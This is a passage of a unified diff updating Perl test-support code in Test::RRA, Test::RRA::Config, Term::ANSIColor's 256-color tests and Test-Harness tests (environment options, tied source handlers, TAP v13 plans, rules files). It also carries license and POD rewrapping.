-# the rights to use, copy, modify, merge, publish, distribute, sublicense,
-# and/or sell copies of the Software, and to permit persons to whom the
-# Software is furnished to do so, subject to the following conditions:
-#
-# The above copyright notice and this permission notice shall be included in
-# all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-# DEALINGS IN THE SOFTWARE.
package Test::RRA;
@@ -38,6 +13,7 @@ use strict;
use warnings;
use Exporter;
+use File::Temp;
use Test::More;
# For Perl 5.006 compatibility.
@@ -51,12 +27,56 @@ our (@EXPORT_OK, @ISA, $VERSION);
# consistency is good).
BEGIN {
@ISA = qw(Exporter);
- @EXPORT_OK = qw(skip_unless_author skip_unless_automated use_prereq);
+ @EXPORT_OK = qw(
+ is_file_contents skip_unless_author skip_unless_automated use_prereq
+ );
# This version should match the corresponding rra-c-util release, but with
# two digits for the minor version, including a leading zero if necessary,
# so that it will sort properly.
- $VERSION = '5.04';
+ $VERSION = '6.02';
+}
+
+# Compare a string to the contents of a file, similar to the standard is()
+# function, but to show the line-based unified diff between them if they
+# differ.
+#
+# $got - The output that we received
+# $expected - The path to the file containing the expected output
+# $message - The message to use when reporting the test results
+#
+# Returns: undef
+# Throws: Exception on failure to read or write files or run diff
+sub is_file_contents {
+ my ($got, $expected, $message) = @_;
+
+ # If they're equal, this is simple.
+ open(my $fh, '<', $expected) or BAIL_OUT("Cannot open $expected: $!\n");
+ my $data = do { local $/ = undef; <$fh> };
+ close($fh) or BAIL_OUT("Cannot close $expected: $!\n");
+ if ($got eq $data) {
+ is($got, $data, $message);
+ return;
+ }
+
+ # Otherwise, we show a diff, but only if we have IPC::System::Simple.
+ eval { require IPC::System::Simple };
+ if ($@) {
+ ok(0, $message);
+ return;
+ }
+
+ # They're not equal. Write out what we got so that we can run diff.
+ my $tmp = File::Temp->new();
+ my $tmpname = $tmp->filename;
+ print {$tmp} $got or BAIL_OUT("Cannot write to $tmpname: $!\n");
+ my @command = ('diff', '-u', $expected, $tmpname);
+ my $diff = IPC::System::Simple::capturex([0 .. 1], @command);
+ diag($diff);
+
+ # Remove the temporary file and report failure.
+ ok(0, $message);
+ return;
}
# Skip this test unless author tests are requested. Takes a short description
@@ -153,7 +173,7 @@ __END__
=for stopwords
Allbery Allbery's DESC bareword sublicense MERCHANTABILITY NONINFRINGEMENT
-rra-c-util
+rra-c-util CPAN
=head1 NAME
@@ -176,46 +196,45 @@ Test::RRA - Support functions for Perl tests
=head1 DESCRIPTION
-This module collects utility functions that are useful for Perl test
-scripts. It assumes Russ Allbery's Perl module layout and test
-conventions and will only be useful for other people if they use the
-same conventions.
+This module collects utility functions that are useful for Perl test scripts.
+It assumes Russ Allbery's Perl module layout and test conventions and will
+only be useful for other people if they use the same conventions.
=head1 FUNCTIONS
-None of these functions are imported by default. The ones used by a
-script should be explicitly imported.
+None of these functions are imported by default. The ones used by a script
+should be explicitly imported.
=over 4
=item skip_unless_author(DESC)
-Checks whether AUTHOR_TESTING is set in the environment and skips the
-whole test (by calling C<plan skip_all> from Test::More) if it is not.
-DESC is a description of the tests being skipped. A space and C<only run
-for author> will be appended to it and used as the skip reason.
+Checks whether AUTHOR_TESTING is set in the environment and skips the whole
+test (by calling C<plan skip_all> from Test::More) if it is not. DESC is a
+description of the tests being skipped. A space and C<only run for author>
+will be appended to it and used as the skip reason.
=item skip_unless_automated(DESC)
-Checks whether AUTHOR_TESTING, AUTOMATED_TESTING, or RELEASE_TESTING are
-set in the environment and skips the whole test (by calling C<plan
-skip_all> from Test::More) if they are not. This should be used by tests
-that should not run during end-user installs of the module, but which
-should run as part of CPAN smoke testing and release testing.
+Checks whether AUTHOR_TESTING, AUTOMATED_TESTING, or RELEASE_TESTING are set
+in the environment and skips the whole test (by calling C<plan skip_all> from
+Test::More) if they are not. This should be used by tests that should not run
+during end-user installs of the module, but which should run as part of CPAN
+smoke testing and release testing.
DESC is a description of the tests being skipped. A space and C<normally
skipped> will be appended to it and used as the skip reason.
=item use_prereq(MODULE[, VERSION][, IMPORT ...])
-Attempts to load MODULE with the given VERSION and import arguments. If
-this fails for any reason, the test will be skipped (by calling C<plan
-skip_all> from Test::More) with a skip reason saying that MODULE is
-required for the test.
+Attempts to load MODULE with the given VERSION and import arguments. If this
+fails for any reason, the test will be skipped (by calling C<plan skip_all>
+from Test::More) with a skip reason saying that MODULE is required for the
+test.
VERSION will be passed to C<use> as a version bareword if it looks like a
-version number. The remaining IMPORT arguments will be passed as the
-value of an array.
+version number. The remaining IMPORT arguments will be passed as the value of
+an array.
=back
@@ -228,33 +247,33 @@ Russ Allbery <eagle@eyrie.org>
Copyright 2013, 2014 The Board of Trustees of the Leland Stanford Junior
University
-Permission is hereby granted, free of charge, to any person obtaining a
-copy of this software and associated documentation files (the "Software"),
-to deal in the Software without restriction, including without limitation
-the rights to use, copy, modify, merge, publish, distribute, sublicense,
-and/or sell copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following conditions:
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-DEALINGS IN THE SOFTWARE.
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
=head1 SEE ALSO
Test::More(3), Test::RRA::Automake(3), Test::RRA::Config(3)
-This module is maintained in the rra-c-util package. The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+This module is maintained in the rra-c-util package. The current version is
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
-The functions to control when tests are run use environment variables
-defined by the L<Lancaster
+The functions to control when tests are run use environment variables defined
+by the L<Lancaster
Consensus|https://github.com/Perl-Toolchain-Gang/toolchain-site/blob/master/lancaster-consensus.md>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA/Config.pm b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA/Config.pm
index 6d413164d1b..bdb31e60c0f 100644
--- a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA/Config.pm
+++ b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/lib/Test/RRA/Config.pm
@@ -4,9 +4,6 @@
# configuration file to store some package-specific data. This module loads
# that configuration and provides the namespace for the configuration
# settings.
-#
-# The canonical version of this file is maintained in the rra-c-util package,
-# which can be found at <http://www.eyrie.org/~eagle/software/rra-c-util/>.
package Test::RRA::Config;
@@ -30,22 +27,23 @@ BEGIN {
@ISA = qw(Exporter);
@EXPORT_OK = qw(
$COVERAGE_LEVEL @COVERAGE_SKIP_TESTS @CRITIC_IGNORE $LIBRARY_PATH
- $MINIMUM_VERSION %MINIMUM_VERSION @POD_COVERAGE_EXCLUDE @STRICT_IGNORE
- @STRICT_PREREQ
+ $MINIMUM_VERSION %MINIMUM_VERSION @MODULE_VERSION_IGNORE
+ @POD_COVERAGE_EXCLUDE @STRICT_IGNORE @STRICT_PREREQ
);
# This version should match the corresponding rra-c-util release, but with
# two digits for the minor version, including a leading zero if necessary,
# so that it will sort properly.
- $VERSION = '5.04';
+ $VERSION = '6.02';
}
-# If BUILD or SOURCE are set in the environment, look for data/perl.conf under
-# those paths for a C Automake package. Otherwise, look in t/data/perl.conf
-# for a standalone Perl module. Don't use Test::RRA::Automake since it may
-# not exist.
+# If C_TAP_BUILD or C_TAP_SOURCE are set in the environment, look for
+# data/perl.conf under those paths for a C Automake package. Otherwise, look
+# in t/data/perl.conf for a standalone Perl module or tests/data/perl.conf for
+# Perl tests embedded in a larger distribution. Don't use Test::RRA::Automake
+# since it may not exist.
our $PATH;
-for my $base ($ENV{BUILD}, $ENV{SOURCE}, 't') {
+for my $base ($ENV{C_TAP_BUILD}, $ENV{C_TAP_SOURCE}, './t', './tests') {
next if !defined($base);
my $path = "$base/data/perl.conf";
if (-r $path) {
@@ -64,6 +62,7 @@ our @CRITIC_IGNORE;
our $LIBRARY_PATH;
our $MINIMUM_VERSION = '5.008';
our %MINIMUM_VERSION;
+our @MODULE_VERSION_IGNORE;
our @POD_COVERAGE_EXCLUDE;
our @STRICT_IGNORE;
our @STRICT_PREREQ;
@@ -71,15 +70,15 @@ our @STRICT_PREREQ;
# Load the configuration.
if (!do($PATH)) {
my $error = $@ || $! || 'loading file did not return true';
- BAIL_OUT("cannot load data/perl.conf: $error");
+ BAIL_OUT("cannot load $PATH: $error");
}
1;
__END__
=for stopwords
-Allbery rra-c-util Automake perlcritic .libs namespace subdirectory
-sublicense MERCHANTABILITY NONINFRINGEMENT
+Allbery rra-c-util Automake perlcritic .libs namespace subdirectory sublicense
+MERCHANTABILITY NONINFRINGEMENT regexes
=head1 NAME
@@ -92,19 +91,17 @@ Test::RRA::Config - Perl test configuration
=head1 DESCRIPTION
-Test::RRA::Config encapsulates per-package configuration for generic Perl
-test programs that are shared between multiple packages using the
-rra-c-util infrastructure. It handles locating and loading the test
-configuration file for both C Automake packages and stand-alone Perl
-modules.
+Test::RRA::Config encapsulates per-package configuration for generic Perl test
+programs that are shared between multiple packages using the rra-c-util
+infrastructure. It handles locating and loading the test configuration file
+for both C Automake packages and stand-alone Perl modules.
Test::RRA::Config looks for a file named F<data/perl.conf> relative to the
-root of the test directory. That root is taken from the environment
-variables BUILD or SOURCE (in that order) if set, which will be the case
-for C Automake packages using C TAP Harness. If neither is set, it
-expects the root of the test directory to be a directory named F<t>
-relative to the current directory, which will be the case for stand-alone
-Perl modules.
+root of the test directory. That root is taken from the environment variables
+C_TAP_BUILD or C_TAP_SOURCE (in that order) if set, which will be the case for
+C Automake packages using C TAP Harness. If neither is set, it expects the
+root of the test directory to be a directory named F<t> relative to the
+current directory, which will be the case for stand-alone Perl modules.
The following variables are supported:
@@ -112,70 +109,75 @@ The following variables are supported:
=item $COVERAGE_LEVEL
-The coverage level achieved by the test suite for Perl test coverage
-testing using Test::Strict, as a percentage. The test will fail if test
-coverage less than this percentage is achieved. If not given, defaults
-to 100.
+The coverage level achieved by the test suite for Perl test coverage testing
+using Test::Strict, as a percentage. The test will fail if test coverage less
+than this percentage is achieved. If not given, defaults to 100.
=item @COVERAGE_SKIP_TESTS
Directories under F<t> whose tests should be skipped when doing coverage
-testing. This can be tests that won't contribute to coverage or tests
-that don't run properly under Devel::Cover for some reason (such as ones
-that use taint checking). F<docs> and F<style> will always be skipped
-regardless of this setting.
+testing. This can be tests that won't contribute to coverage or tests that
+don't run properly under Devel::Cover for some reason (such as ones that use
+taint checking). F<docs> and F<style> will always be skipped regardless of
+this setting.
=item @CRITIC_IGNORE
-Additional directories to ignore when doing recursive perlcritic testing.
-The contents of this directory must be either top-level directory names or
+Additional directories to ignore when doing recursive perlcritic testing. The
+contents of this directory must be either top-level directory names or
directory names starting with F<tests/>.
=item $LIBRARY_PATH
Add this directory (or a F<.libs> subdirectory) relative to the top of the
-source tree to LD_LIBRARY_PATH when checking the syntax of Perl modules.
-This may be required to pick up libraries that are used by in-tree Perl
-modules so that Perl scripts can pass a syntax check.
+source tree to LD_LIBRARY_PATH when checking the syntax of Perl modules. This
+may be required to pick up libraries that are used by in-tree Perl modules so
+that Perl scripts can pass a syntax check.
=item $MINIMUM_VERSION
-Default minimum version requirement for included Perl scripts. If not
-given, defaults to 5.008.
+Default minimum version requirement for included Perl scripts. If not given,
+defaults to 5.008.
=item %MINIMUM_VERSION
Minimum version exceptions for specific directories. The keys should be
minimum versions of Perl to enforce. The value for each key should be a
-reference to an array of either top-level directory names or directory
-names starting with F<tests/>. All files in those directories will have
-that minimum Perl version constraint imposed instead of $MINIMUM_VERSION.
+reference to an array of either top-level directory names or directory names
+starting with F<tests/>. All files in those directories will have that
+minimum Perl version constraint imposed instead of $MINIMUM_VERSION.
+
+=item @MODULE_VERSION_IGNORE
+
+File names to ignore when checking that all modules in a distribution have the
+same version. Sometimes, some specific modules need separate, special version
+handling, such as modules defining database schemata for DBIx::Class, and
+can't follow the version of the larger package.
=item @POD_COVERAGE_EXCLUDE
Regexes that match method names that should be excluded from POD coverage
-testing. Normally, all methods have to be documented in the POD for a
-Perl module, but methods matching any of these regexes will be considered
-private and won't require documentation.
+testing. Normally, all methods have to be documented in the POD for a Perl
+module, but methods matching any of these regexes will be considered private
+and won't require documentation.
=item @STRICT_IGNORE
-Additional directories to ignore when doing recursive Test::Strict testing
-for C<use strict> and C<use warnings>. The contents of this directory
-must be either top-level directory names or directory names starting with
-F<tests/>.
+Additional directories to ignore when doing recursive Test::Strict testing for
+C<use strict> and C<use warnings>. The contents of this directory must be
+either top-level directory names or directory names starting with F<tests/>.
=item @STRICT_PREREQ
A list of Perl modules that have to be available in order to do meaningful
Test::Strict testing. If any of the modules cannot be loaded via C<use>,
-Test::Strict checking will be skipped. There is currently no way to
-require specific versions of the modules.
+Test::Strict checking will be skipped. There is currently no way to require
+specific versions of the modules.
=back
-No variables are exported by default, but the variables can be imported
-into the local namespace to avoid long variable names.
+No variables are exported by default, but the variables can be imported into
+the local namespace to avoid long variable names.
=head1 AUTHOR
@@ -183,36 +185,38 @@ Russ Allbery <eagle@eyrie.org>
=head1 COPYRIGHT AND LICENSE
+Copyright 2015, 2016 Russ Allbery <eagle@eyrie.org>
+
Copyright 2013, 2014 The Board of Trustees of the Leland Stanford Junior
University
-Permission is hereby granted, free of charge, to any person obtaining a
-copy of this software and associated documentation files (the "Software"),
-to deal in the Software without restriction, including without limitation
-the rights to use, copy, modify, merge, publish, distribute, sublicense,
-and/or sell copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following conditions:
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-DEALINGS IN THE SOFTWARE.
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
=head1 SEE ALSO
-perlcritic(1), Test::MinimumVersion(3), Test::RRA(3),
-Test::RRA::Automake(3), Test::Strict(3)
+perlcritic(1), Test::MinimumVersion(3), Test::RRA(3), Test::RRA::Automake(3),
+Test::Strict(3)
-This module is maintained in the rra-c-util package. The current version
-is available from L<http://www.eyrie.org/~eagle/software/rra-c-util/>.
+This module is maintained in the rra-c-util package. The current version is
+available from L<https://www.eyrie.org/~eagle/software/rra-c-util/>.
The C TAP Harness test driver and libraries for TAP-based C testing are
-available from L<http://www.eyrie.org/~eagle/software/c-tap-harness/>.
+available from L<https://www.eyrie.org/~eagle/software/c-tap-harness/>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/module/basic256.t b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/module/basic256.t
index a24b0cef374..ae06d1ada5c 100644
--- a/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/module/basic256.t
+++ b/gnu/usr.bin/perl/cpan/Term-ANSIColor/t/module/basic256.t
@@ -3,7 +3,7 @@
# Tests for 256-color support.
#
# Copyright 2012 Kurt Starsinic <kstarsinic@gmail.com>
-# Copyright 2012, 2013 Russ Allbery <rra@cpan.org>
+# Copyright 2012, 2013, 2016 Russ Allbery <rra@cpan.org>
#
# This program is free software; you may redistribute it and/or modify it
# under the same terms as Perl itself.
@@ -11,7 +11,7 @@
use strict;
use warnings;
-use Test::More tests => 92;
+use Test::More tests => 94;
# Load the module.
BEGIN {
@@ -29,7 +29,7 @@ is(color('grey0'), "\e[38;5;232m", 'Grey 0');
is(color('grey23'), "\e[38;5;255m", 'Grey 23');
# Errors at boundary cases.
-for my $color (qw(ansi16 rgb600 rgb060 rgb006 rgb666 rgb999 rgb0000 grey24)) {
+for my $color (qw(ansi256 rgb600 rgb060 rgb006 rgb666 rgb999 rgb0000 grey24)) {
my $output = eval { color($color) };
is($output, undef, 'color on unknown color name fails');
like(
@@ -49,6 +49,7 @@ for my $color (qw(ansi0 ansi15 rgb000 rgb555 grey0 grey23)) {
is_deeply([uncolor('38;5;0')], ['ansi0'], 'uncolor of ansi0');
is_deeply([uncolor("\e[38;5;231m")], ['rgb555'], 'uncolor of rgb555');
is_deeply([uncolor("\e[48;05;001m")], ['on_ansi1'], 'uncolor with leading 0s');
+is_deeply([uncolor("\e[38;5;233")], ['grey1'], 'uncolor of grey1');
# An invalid 256-color code should report an error on the part that makes it
# invalid. Check truncated codes (should report on the 38 or 48), codes with
@@ -79,12 +80,13 @@ while (my ($escape, $invalid) = each %uncolor_tests) {
}
# Test all the variations of a few different constants.
-is((ANSI0 't'), "\e[38;5;0mt", 'Basic constant works for ANSI0');
-is((ANSI15 't'), "\e[38;5;15mt", '...and for ANSI15');
-is((RGB000 't'), "\e[38;5;16mt", '...and for RGB000');
-is((RGB555 't'), "\e[38;5;231mt", '...and for RGB555');
-is((GREY0 't'), "\e[38;5;232mt", '...and for GREY0');
-is((GREY23 't'), "\e[38;5;255mt", '...and for GREY23');
+is((ANSI0 't'), "\e[38;5;0mt", 'Basic constant works for ANSI0');
+is((ANSI15 't'), "\e[38;5;15mt", '...and for ANSI15');
+is((ANSI255 't'), "\e[38;5;255mt", '...and for ANSI255');
+is((RGB000 't'), "\e[38;5;16mt", '...and for RGB000');
+is((RGB555 't'), "\e[38;5;231mt", '...and for RGB555');
+is((GREY0 't'), "\e[38;5;232mt", '...and for GREY0');
+is((GREY23 't'), "\e[38;5;255mt", '...and for GREY23');
# Do the same for disabled colors.
local $ENV{ANSI_COLORS_DISABLED} = 1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/env_opts.t b/gnu/usr.bin/perl/cpan/Test-Harness/t/env_opts.t
new file mode 100644
index 00000000000..24b7c4e35d7
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/env_opts.t
@@ -0,0 +1,66 @@
+#!/usr/bin/perl
+
+use strict;
+use warnings;
+use Test::More tests => 16;
+
+use TAP::Harness::Env;
+
+sub _has_module {
+ my $module = shift;
+ eval "use $module";
+ return $@ ? 0 : 1;
+}
+
+{
+
+ # Should add a fake home dir? to test the rc stuff..
+ local $ENV{HARNESS_OPTIONS} = 'j4:c';
+
+ ok my $harness = TAP::Harness::Env->create, 'made harness';
+ is( $harness->color, 1, "set color correctly" );
+ is( $harness->jobs, 4, "set jobs correctly" );
+}
+SKIP: {
+ skip "requires TAP::Formatter::HTML", 4
+ unless _has_module('TAP::Formatter::HTML');
+ skip "requires TAP::Formatter::HTML 0.10 or higher", 4
+ unless TAP::Formatter::HTML->VERSION >= .10;
+
+ local $ENV{HARNESS_OPTIONS} = 'j4:c:fTAP-Formatter-HTML';
+
+ ok my $harness = TAP::Harness::Env->create, 'made harness';
+ is( $harness->color, 1, "set color correctly" );
+ is( $harness->jobs, 4, "set jobs correctly" );
+ is( $harness->formatter_class, "TAP::Formatter::HTML",
+ "correct formatter" );
+
+}
+SKIP: {
+ skip "requires TAP::Harness::Archive", 5
+ unless _has_module('TAP::Harness::Archive');
+
+ # Test archive
+ local $ENV{HARNESS_OPTIONS} = 'j4:c:a/archive.tgz';
+
+ ok my $harness = TAP::Harness::Env->create, 'made harness';
+ is( $harness->color, 1, "set color correctly" );
+ is( $harness->jobs, 4, "set jobs correctly" );
+ isa_ok( $harness, "TAP::Harness::Archive", "correct harness subclass" );
+
+ # XXX: this is nasty :(
+ is( $harness->{__archive_file}, "/archive.tgz", "correct archive found" );
+
+}
+
+{
+ local $ENV{HARNESS_TIMER} = 0;
+ ok my $harness = TAP::Harness::Env->create, 'made harness';
+ ok !$harness->timer, 'timer set via HARNESS_TIMER';
+}
+
+{
+ local $ENV{HARNESS_TIMER} = 1;
+ ok my $harness = TAP::Harness::Env->create, 'made harness';
+ ok $harness->timer, 'timer set via HARNESS_TIMER';
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/iterator_factory.t b/gnu/usr.bin/perl/cpan/Test-Harness/t/iterator_factory.t
index 4e16201e436..85cc23322c1 100644
--- a/gnu/usr.bin/perl/cpan/Test-Harness/t/iterator_factory.t
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/iterator_factory.t
@@ -10,7 +10,7 @@ BEGIN {
use strict;
use warnings;
-use Test::More tests => 42;
+use Test::More tests => 44;
use IO::File;
use File::Spec;
@@ -124,6 +124,9 @@ my @sources = (
handler => 'TAP::Parser::SourceHandler::Handle',
iterator => 'TAP::Parser::Iterator::Stream',
},
+ { file => 'test.tap',
+ tie => 1,
+ },
);
for my $test (@sources) {
@@ -141,10 +144,18 @@ for my $test (@sources) {
my $source = TAP::Parser::Source->new->raw( ref($raw) ? $raw : \$raw );
my $iterator = eval { $sf->make_iterator($source) };
my $error = $@;
- ok( !$error, "$name: no error on make_iterator" );
- diag($error) if $error;
- # isa_ok( $iterator, $test->{iterator}, $name );
+ if( $test->{tie} ) {
+ like(
+ $error, qr{^There is a tie.*Both voted .* on $test->{file}}ms,
+ "$name: votes tied"
+ )
+ }
+ else {
+ ok( !$error, "$name: no error on make_iterator" );
+ diag($error) if $error;
+ }
+
is( $sf->_last_handler, $test->{handler}, $name );
}
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm b/gnu/usr.bin/perl/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
index f8899a5c917..6cef9f10b66 100644
--- a/gnu/usr.bin/perl/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/lib/MyFileSourceHandler.pm
@@ -20,7 +20,7 @@ sub can_handle {
my $class = shift;
$class->SUPER::can_handle(@_);
$CAN_HANDLE++;
- return $class;
+ return 1;
}
sub make_iterator {
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/nofork-mux.t b/gnu/usr.bin/perl/cpan/Test-Harness/t/nofork-mux.t
index 6712eb9f890..baf17722efd 100755
--- a/gnu/usr.bin/perl/cpan/Test-Harness/t/nofork-mux.t
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/nofork-mux.t
@@ -8,4 +8,4 @@ use strict;
use warnings;
use NoFork;
-require('t/multiplexer.t');
+require('./t/multiplexer.t');
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/regression.t b/gnu/usr.bin/perl/cpan/Test-Harness/t/regression.t
index 7e1388e3527..2daa375f816 100755
--- a/gnu/usr.bin/perl/cpan/Test-Harness/t/regression.t
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/regression.t
@@ -383,6 +383,85 @@ my %samples = (
wait => 0,
version => 12,
},
+ space_after_plan_v13 => {
+ results => [
+ { is_version => TRUE,
+ raw => 'TAP version 13',
+ },
+ { is_plan => TRUE,
+ raw => '1..5 ',
+ tests_planned => 5,
+ passed => TRUE,
+ is_ok => TRUE,
+ },
+ { actual_passed => TRUE,
+ is_actual_ok => TRUE,
+ passed => TRUE,
+ is_ok => TRUE,
+ is_test => TRUE,
+ has_skip => FALSE,
+ has_todo => FALSE,
+ number => 1,
+ description => "",
+ },
+ { actual_passed => TRUE,
+ is_actual_ok => TRUE,
+ passed => TRUE,
+ is_ok => TRUE,
+ is_test => TRUE,
+ has_skip => FALSE,
+ has_todo => FALSE,
+ number => 2,
+ description => "",
+ },
+ { actual_passed => TRUE,
+ is_actual_ok => TRUE,
+ passed => TRUE,
+ is_ok => TRUE,
+ is_test => TRUE,
+ has_skip => FALSE,
+ has_todo => FALSE,
+ number => 3,
+ description => "",
+ },
+ { actual_passed => TRUE,
+ is_actual_ok => TRUE,
+ passed => TRUE,
+ is_ok => TRUE,
+ is_test => TRUE,
+ has_skip => FALSE,
+ has_todo => FALSE,
+ number => 4,
+ description => "",
+ },
+ { actual_passed => TRUE,
+ is_actual_ok => TRUE,
+ passed => TRUE,
+ is_ok => TRUE,
+ is_test => TRUE,
+ has_skip => FALSE,
+ has_todo => FALSE,
+ number => 5,
+ description => "",
+ },
+ ],
+ plan => '1..5',
+ passed => [ 1 .. 5 ],
+ actual_passed => [ 1 .. 5 ],
+ failed => [],
+ actual_failed => [],
+ todo => [],
+ todo_passed => [],
+ skipped => [],
+ good_plan => TRUE,
+ is_good_plan => TRUE,
+ tests_planned => 5,
+ tests_run => 5,
+ parse_errors => [],
+ 'exit' => 0,
+ wait => 0,
+ version => 13,
+ },
simple_yaml => {
results => [
{ is_version => TRUE,
diff --git a/gnu/usr.bin/perl/cpan/Test-Harness/t/rulesfile.t b/gnu/usr.bin/perl/cpan/Test-Harness/t/rulesfile.t
new file mode 100644
index 00000000000..9d5af0b5ed9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Harness/t/rulesfile.t
@@ -0,0 +1,97 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ unshift @INC, 't/lib';
+}
+
+use strict;
+use warnings;
+use TAP::Harness;
+use Test::More;
+use File::Path qw/mkpath rmtree/;
+use File::Spec::Functions qw/catdir catfile rel2abs/;
+
+for my $path (@INC) {
+ $path = rel2abs($path);
+}
+
+if ( eval { require CPAN::Meta::YAML; 1 } ) {
+ plan tests => 4;
+}
+else {
+ plan skip_all => "requires CPAN::Meta::YAML";
+}
+
+# create temp directories long-hand
+# XXX should we add File::Temp as a prereq to do this?
+my $initial_dir = rel2abs(".");
+my $work_dir = catdir($initial_dir, "tmp" . int(rand(2**31)));
+my $t_dir = catdir($work_dir, 't');
+mkpath($t_dir) or die "Could not create $t_dir: $!";
+chdir $work_dir;
+
+# clean up at the end, but only if we didn't skip
+END { if ($initial_dir) {chdir $initial_dir; rmtree($work_dir) } }
+
+# Create test rules in t
+{
+ open my $fh, ">", catfile($t_dir, "testrules.yml");
+ print {$fh} <<'HERE';
+---
+par: t/p*.t
+HERE
+ close $fh;
+}
+
+my $th = TAP::Harness->new;
+my $exp = {
+ par => 't/p*.t'
+};
+is_deeply( $th->rules, $exp, "rules set from t/testrules.yml" );
+
+# Create test rules in dist root
+{
+ open my $fh, ">", catfile($work_dir, "testrules.yml");
+ print {$fh} <<'HERE';
+---
+seq:
+- seq: t/p*.t
+- par: '**'
+HERE
+ close $fh;
+}
+
+$th = TAP::Harness->new;
+$exp = {
+ seq => [
+ { seq => 't/p*.t' },
+ { par => '**' },
+ ],
+};
+is_deeply( $th->rules, $exp, "root testrules.yml overrides t/testrules.yml" );
+
+# Create alternately named file
+my $altrules = catfile($work_dir, "myrules.yml");
+{
+ open my $fh, ">", $altrules;
+ print {$fh} <<'HERE';
+---
+seq: **
+HERE
+ close $fh;
+}
+
+{
+ local $ENV{HARNESS_RULESFILE} = $altrules;
+ $th = TAP::Harness->new;
+ $exp = {
+ seq => '**'
+ };
+ is_deeply( $th->rules, $exp, "HARNESS_RULESFILE overrides testrules.yml" );
+}
+
+$th = TAP::Harness->new( { rulesfile => $altrules} );
+$exp = {
+ seq => '**'
+};
